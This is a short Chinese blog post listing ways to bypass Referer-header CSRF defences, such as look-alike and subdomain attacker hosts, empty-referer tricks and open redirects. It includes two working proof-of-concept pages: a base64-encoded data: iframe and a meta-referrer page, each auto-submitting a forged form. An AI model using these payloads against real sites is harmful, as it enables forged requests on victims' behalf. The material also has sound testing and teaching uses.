1. 程式人生 > >繞過referer校驗的一些小知識

繞過referer校驗的一些小知識

一個 inpu sub fsd NPU cgp for mit javascrip

對referer做校驗一般是對csrf進行防範的手段之一,但是很多時候不經意間還會增加其他攻擊的難度,如xss,jsonp劫持等等。

這裏對referer的繞過做一個小的總結:
目標網站是:www.domain.com

攻擊者的域名是:evil.com

1.使用子域名的方式繞過,如下:

http://domain.evil.com/

2.註冊一個類似的域名,如下:
http://www.evildomain.com/

3.將域名以參數的形式接下url後面

http://www.evil.com/?http://www.domain.com

4.利用空referer

  1)利用ftp://,http://,https://,file://,javascript:,data:等偽協議進行跳轉,如下

  <html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</body>
  </html>

  2)添加<meta name="referrer" content="never">,poc如下

  <html>

  <meta name="referrer" content="never">

  <body>

    <script>history.pushState(‘‘, ‘‘, ‘/‘)</script>

    <form action="http://127.0.0.1/test.php">

    <input type="submit" value="Submit request" />

  </form>

  <script> document.forms[0].submit(); </script>

  </body>

  </html>

  

  3)https跳到http時也沒有referer

5.如果受信任的網站中可以添加鏈接,可以在受信任的網站上添加鏈接,但是不支持post的csrf

6.利用url跳轉

7.結合受信任的網站的xss漏洞進行利用

繞過referer校驗的一些小知識